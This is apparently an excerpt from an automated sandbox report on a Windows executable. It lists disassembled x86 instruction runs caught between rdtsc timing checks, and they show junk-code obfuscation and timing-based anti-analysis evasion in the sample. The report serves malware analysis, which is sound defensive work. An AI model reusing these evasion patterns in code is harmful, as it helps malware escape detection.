Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A89 second address: 5480AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAA8CB48462h 0x00000009 add cx, 61A8h 0x0000000e jmp 00007FAA8CB4845Bh 0x00000013 popfd 0x00000014 call 00007FAA8CB48468h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d leave 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushfd 0x00000022 jmp 00007FAA8CB4845Dh 0x00000027 sub esi, 5B0E4476h 0x0000002d jmp 00007FAA8CB48461h 0x00000032 popfd 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480AF6 second address: 5480208 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dh, cl 0x00000008 popad 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FAA8CDD0FC7h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FAA9194D447h 0x00000032 mov edi, edi 0x00000034 pushad 0x00000035 mov edx, ecx 0x00000037 push ecx 0x00000038 call 00007FAA8CDD0FD9h 0x0000003d pop ecx 0x0000003e pop edi 0x0000003f popad 0x00000040 xchg eax, ebp 0x00000041 pushad 0x00000042 jmp 00007FAA8CDD0FCAh 0x00000047 jmp 00007FAA8CDD0FD2h 0x0000004c popad 0x0000004d push eax 0x0000004e jmp 00007FAA8CDD0FCBh 0x00000053 xchg eax, ebp 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 movsx ebx, ax 0x0000005a call 00007FAA8CDD0FCCh 0x0000005f pop eax 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480208 second address: 548020E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548020E second address: 5480212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480212 second address: 5480233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAA8CB48465h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480233 second address: 5480250 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bl, 9Ah 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480250 second address: 5480260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB4845Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480260 second address: 54802BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 5E82B422h 0x0000000d pushad 0x0000000e call 00007FAA8CDD0FCAh 0x00000013 movzx ecx, dx 0x00000016 pop ebx 0x00000017 push esi 0x00000018 pushfd 0x00000019 jmp 00007FAA8CDD0FD3h 0x0000001e add si, 6D5Eh 0x00000023 jmp 00007FAA8CDD0FD9h 0x00000028 popfd 0x00000029 pop esi 0x0000002a popad 0x0000002b add dword ptr [esp], 1727EA26h 0x00000032 pushad 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54803FF second address: 5480403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480403 second address: 548041F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548041F second address: 5480431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB4845Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480431 second address: 5480449 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480449 second address: 548044D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548044D second address: 5480453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480453 second address: 5480459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480459 second address: 548045D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548045D second address: 5480461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480461 second address: 54804B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007FAA8CDD0FD0h 0x0000000e push eax 0x0000000f pushad 0x00000010 mov ch, dl 0x00000012 call 00007FAA8CDD0FCAh 0x00000017 mov ah, 9Dh 0x00000019 pop edi 0x0000001a popad 0x0000001b xchg eax, edi 0x0000001c jmp 00007FAA8CDD0FCAh 0x00000021 mov eax, dword ptr [75AB4538h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FAA8CDD0FD7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804B5 second address: 54804BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804BB second address: 54804D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAA8CDD0FCAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804D2 second address: 54804D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804D8 second address: 54804DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804DC second address: 54804E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804E0 second address: 54804FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a pushad 0x0000000b mov edi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f call 00007FAA8CDD0FCEh 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804FE second address: 5480570 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAA8CB4845Bh 0x00000008 jmp 00007FAA8CB48463h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 nop 0x00000012 pushad 0x00000013 mov ax, DC3Bh 0x00000017 movzx ecx, dx 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007FAA8CB48462h 0x00000023 popad 0x00000024 jmp 00007FAA8CB48462h 0x00000029 popad 0x0000002a nop 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FAA8CB48467h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480570 second address: 5480576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480576 second address: 548057A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548057A second address: 548057E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548057E second address: 5480592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b pushad 0x0000000c mov bx, 4360h 0x00000010 push eax 0x00000011 push edx 0x00000012 mov cl, bl 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480592 second address: 5480616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr fs:[00000000h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f pushfd 0x00000010 jmp 00007FAA8CDD0FD9h 0x00000015 and ch, 00000016h 0x00000018 jmp 00007FAA8CDD0FD1h 0x0000001d popfd 0x0000001e pop eax 0x0000001f pushfd 0x00000020 jmp 00007FAA8CDD0FD1h 0x00000025 add cl, 00000076h 0x00000028 jmp 00007FAA8CDD0FD1h 0x0000002d popfd 0x0000002e popad 0x0000002f mov dword ptr [ebp-18h], esp 0x00000032 jmp 00007FAA8CDD0FCEh 0x00000037 mov eax, dword ptr fs:[00000018h] 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480616 second address: 548061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548061A second address: 5480620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480620 second address: 5480644 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48464h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480644 second address: 5480648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480648 second address: 548064C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548064C second address: 5480652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480652 second address: 548066F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 movzx esi, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test ecx, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAA8CB4845Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548066F second address: 5480675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480675 second address: 54806BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 movzx eax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007FAA8CB4846Dh 0x00000011 pushad 0x00000012 mov esi, ebx 0x00000014 mov bx, FDF6h 0x00000018 popad 0x00000019 add eax, ecx 0x0000001b jmp 00007FAA8CB4845Dh 0x00000020 mov ecx, dword ptr [ebp+08h] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FAA8CB48468h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54806BC second address: 54806CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470225 second address: 547028C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx ebx, cx 0x0000000e pushad 0x0000000f jmp 00007FAA8CB48466h 0x00000014 jmp 00007FAA8CB48462h 0x00000019 popad 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAA8CB48467h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547028C second address: 5470291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470291 second address: 54702BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 9FC8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAA8CB48469h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702BB second address: 54702D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702D0 second address: 547032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48461h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007FAA8CB4845Eh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 jmp 00007FAA8CB4845Eh 0x00000018 pushfd 0x00000019 jmp 00007FAA8CB48462h 0x0000001e sbb al, 00000018h 0x00000021 jmp 00007FAA8CB4845Bh 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547032F second address: 5470336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, 57h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470336 second address: 547033C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547033C second address: 5470391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e pushfd 0x0000000f jmp 00007FAA8CDD0FCDh 0x00000014 jmp 00007FAA8CDD0FCBh 0x00000019 popfd 0x0000001a pop ecx 0x0000001b popad 0x0000001c xchg eax, edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FAA8CDD0FD7h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470391 second address: 54703D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 call 00007FAA8CB48467h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FAA8CB48466h 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54703D0 second address: 54703D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54703D4 second address: 54703DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470428 second address: 5470445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470445 second address: 5470455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB4845Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470455 second address: 5470459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470459 second address: 5470516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d pushad 0x0000000e movzx ecx, di 0x00000011 mov dl, E5h 0x00000013 popad 0x00000014 sub edi, edi 0x00000016 jmp 00007FAA8CB48467h 0x0000001b inc ebx 0x0000001c jmp 00007FAA8CB48466h 0x00000021 test al, al 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FAA8CB4845Eh 0x0000002a add esi, 45060C38h 0x00000030 jmp 00007FAA8CB4845Bh 0x00000035 popfd 0x00000036 mov esi, 0E0ED26Fh 0x0000003b popad 0x0000003c je 00007FAA8CB48600h 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007FAA8CB48460h 0x00000049 jmp 00007FAA8CB48465h 0x0000004e popfd 0x0000004f mov ebx, eax 0x00000051 popad 0x00000052 lea ecx, dword ptr [ebp-14h] 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FAA8CB48469h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470516 second address: 5470526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CDD0FCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470526 second address: 5470542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-14h], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov bx, 02D2h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470607 second address: 547060D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547060D second address: 547061E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB4845Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547061E second address: 5470622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470622 second address: 5470649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FAA8CB4849Dh 0x0000000e pushad 0x0000000f mov dh, AAh 0x00000011 call 00007FAA8CB48464h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470649 second address: 54706BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 cmp dword ptr [ebp-14h], edi 0x00000009 jmp 00007FAA8CDD0FD7h 0x0000000e jne 00007FAAFD3BEDF8h 0x00000014 pushad 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 mov edi, eax 0x0000001b popad 0x0000001c mov ebx, dword ptr [ebp+08h] 0x0000001f jmp 00007FAA8CDD0FD8h 0x00000024 lea eax, dword ptr [ebp-2Ch] 0x00000027 jmp 00007FAA8CDD0FD0h 0x0000002c xchg eax, esi 0x0000002d jmp 00007FAA8CDD0FD0h 0x00000032 push eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54706BA second address: 54706EF instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d jmp 00007FAA8CB4845Eh 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAA8CB48467h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54706EF second address: 54706F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54706F5 second address: 54706F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54706F9 second address: 5470717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ecx 0x0000000e jmp 00007FAA8CDD0FCFh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470717 second address: 5470744 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 1EF52A5Ah 0x00000008 call 00007FAA8CB4845Bh 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAA8CB48461h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470744 second address: 547074A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547074A second address: 5470764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov si, 900Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54707D7 second address: 54707DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54707DD second address: 54707E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54707E1 second address: 54707E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470DA4 second address: 5470DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470DA8 second address: 5470DBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470DBD second address: 5470E7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAA8CB48467h 0x00000009 sub ecx, 24E7671Eh 0x0000000f jmp 00007FAA8CB48469h 0x00000014 popfd 0x00000015 mov dx, si 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esp], ebp 0x0000001e pushad 0x0000001f movzx ecx, bx 0x00000022 mov edx, 2F24D518h 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b push edi 0x0000002c mov si, C4CFh 0x00000030 pop esi 0x00000031 call 00007FAA8CB48465h 0x00000036 pushfd 0x00000037 jmp 00007FAA8CB48460h 0x0000003c jmp 00007FAA8CB48465h 0x00000041 popfd 0x00000042 pop esi 0x00000043 popad 0x00000044 cmp dword ptr [75AB459Ch], 05h 0x0000004b pushad 0x0000004c pushad 0x0000004d push ebx 0x0000004e pop ecx 0x0000004f popad 0x00000050 mov cx, D8A1h 0x00000054 popad 0x00000055 je 00007FAAFD125FF2h 0x0000005b jmp 00007FAA8CB4845Ch 0x00000060 pop ebp 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548001F second address: 548005D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 3511F38Fh 0x0000000e jmp 00007FAA8CDD0FCFh 0x00000013 add dword ptr [esp], 4098A899h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAA8CDD0FD0h 0x00000023 rdtsc
